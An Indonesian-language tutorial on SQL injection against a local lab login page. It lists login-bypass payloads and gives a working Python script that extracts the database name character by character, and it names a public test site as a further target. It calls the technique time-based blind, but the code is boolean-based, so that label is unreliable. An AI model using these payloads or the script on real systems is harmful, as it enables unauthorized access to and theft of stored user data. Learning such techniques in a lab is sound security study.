Sebuah database server merupakan tempat untuk menampung beberapa data. Misalkan saja ada sebuah website, di mana website tersebut mempunyai data penting yang harus di simpan pada database server. Data penting tersebut bisa saja data email, password pengguna, ataupun kartu bank yang di mana semua itu adalah data penting maupun privasi seseorang. Namun, sering kali database server bocor bisa saja kena retas oleh peretas untuk memanfaatkan kepentingan pribadi. Hal ini sangat di sayangkan ketika database server bocor dan tentu jelas bisa merugikan sekali, seorang peretas akan mampu mengubah bahkan menghapus query mysql yang ada.
Keamanan Website
Seorang pengembang terkadang suka tidak memikirkan tentang keamanan ketika membangun sebuah website yang di bangun menggunakan teknologi web back end. Penulis sering kali menemukan dan mencoba mengeksploitasi website tersebut di mana website tersebut rentan sekali untuk di retas. Dalam tutorial ini penulis akan mengajarkan kamu cara mendapatkan database server mysql dengan python dan ini akan di lakukan pada sasaran web server lokal menggunakan teknik sql injection. Teknik sql injection juga merupakan teknik peretasan pada aplikasi website untuk meretas sebuah database server terutama mysql.
Kita tidak akan melakukan secara manual melainkan menggunakan module python bernama requests untuk mempermudah mendapatkan database server mysql. Tentu jelas penulis akan membuat exploit nya pada python untuk menyerang web server lokal sendiri. Sedikit info saja, menulis exploit membutuhkan pengalaman menganalisis kerentanan sasaran yang ada karena tanpa hal ini kita tidak akan tahu bagaimana sistem sasaran itu bekerja bagaimana program exploit dan payload yang tepat untuk di buat agar eksploitasi bisa bekerja.
Sql Injection
Apa itu sql injection? ini merupakan teknik untuk meretas database server hal ini peretas akan bisa melakukan penghapusan database dan mengubah database pada website yang rentan terhadap serangan ini. Dalam studi kasus yang berbeda website yang memiliki formulir login bisa kena bypass oleh seorang peretas. Peretas bisa menyisipkan sebuah payload sql injection pada sebuah formulir login. Payload sql injection yang sudah di kirimkan oleh peretas memaksa sebuah database server bernilai true. Di manapun ketika sudah di bypass, password yang tersedia dalam database tidak akan berguna, mysql akan menganggap query yang masuk selalu bernilai true ini adalah konsep logika OR pada pemrograman. Beberapa payload yang di gunakan adalah :
'-' ' ' '&' '^' '*' ' or ''-' ' or '' ' ' or ''&' ' or ''^' ' or ''*' ' OR 1 = 1 -- ' OR BINARY substring(database(), %d, 1) = '%s' -- "-" " " "&" "^" "*" " or ""-" " or "" " " or ""&" " or ""^" " or ""*"
Ini semua tergantung kerentanan website yang ada, peretas selalu bisa mengeksploitasi kerentanan yang ada dan menganalisis sistem website sasaran. Bahkan, teknik sql injection bisa menggunakan lewat URL dan memang teknik ini banyak metode yang di gunakan. Penulis akan membagikan salah satu metode time-based blind sqli di mana metode sql injection ini menggunakan berbasis waktu, salah satu kekurangan teknik ini adalah kita harus menunggu lama sekali agar hasil bisa di tampilkan karena ini menggunakan koneksi internet. Dengan mengandalkan koneksi internet menggunakan metode ini akan gagal jika koneksi internet tidak bagus.
Sebelum memulai tutorial pastikan kamu sudah paham mengenai teknologi web back end dan unduh software Python-nya. Mempelajari teknologi web back end merupakan hal wajib agar tidak kebingungan apa yang sudah di tulis mengenai tutorial ini dan tahu cara kerja sebuah web server dan database server.
Untuk sasaran nya sudah ada pada URL di bawah ini :
http://localhost/hacking/login.php
Di atas adalah URL web server lokal yang sudah penulis buat, hal tersebut ialah sebagai contoh untuk mendapatkan database server. Sasaran lain kamu bisa cek pada URL ini di mana kamu bisa menemukan kerentanan yang ada :
http://testphp.vulnweb.com/?members.php?id=1
Jadi, mari kita mulai tutorial nya.
Cara SQL Injection Dengan Python
1. Pertama yang perlu di lakukan dulu adalah kamu perlu install module python bernama requests untuk install nya bisa buka terminal kamu lalu ketik di bawah ini :
pip install requests
2. Kamu buat juga folder bernama meretas untuk mempermudah tutorial kita dalam menyimpan file python nya nanti.
3. Buka teks editor kamu, bisa menggunakan notepad++ atau lainnya.
4. Buat file python dengan nama main.py dan simpan file nya pada folder meretas untuk kode nya bisa lihat di bawah ini :
import requests, sys url = 'http://localhost/hacking/login.php' for i in range(1,25): for c in range(0x20,0x7f): payload = "'OR BINARY substring(database(), %d, 1) = '%s' -- " %(i,chr(c)) data = {'username':payload, 'password':'1', 'login':'login'} res = requests.post(url,data=data) if 'Hallo admin!' in res.text: sys.stdout.write(chr(c)) sys.stdout.flush() break else: False
Sebagai kode HTML nya bisa lihat gambar di bawah ini:
5. Dan kode PHP nya kamu bisa dapatkan pada repositori github Web App SQL Injection. Pada variabel res penulis mengirim data ke server dalam arti ini adalah jika halaman website tersebut adalah ‘Hallo admin’ ketika berhasil di bypass maka tampilkan database server sasaran. Namun jika bukan berarti tidak menghasilkan apa apa, program akan menjalankan kondisi else.
6. Jika sudah kamu bisa cari folder meretas dan cari file main.py untuk bisa melakukan nya pada terminal kamu. Hasil nya kamu bisa lihat di bawah ini ketika saya berhasil mendapatkan sebuah database :
7. Selesai, hasil di atas adalah database bernama hacking yang di mana database tersebut sudah di buat oleh penulis. Sebelum penulis akhiri, penulis akan memberikan sebuah software bernama sqlmap. Software tersebut mempermudah melakukan hal hal seperti sql injection kamu bisa unduh nya pada di situs sqlmap.org
Demikian mengenai tutorial cara mendapatkan database server mysql dengan python.
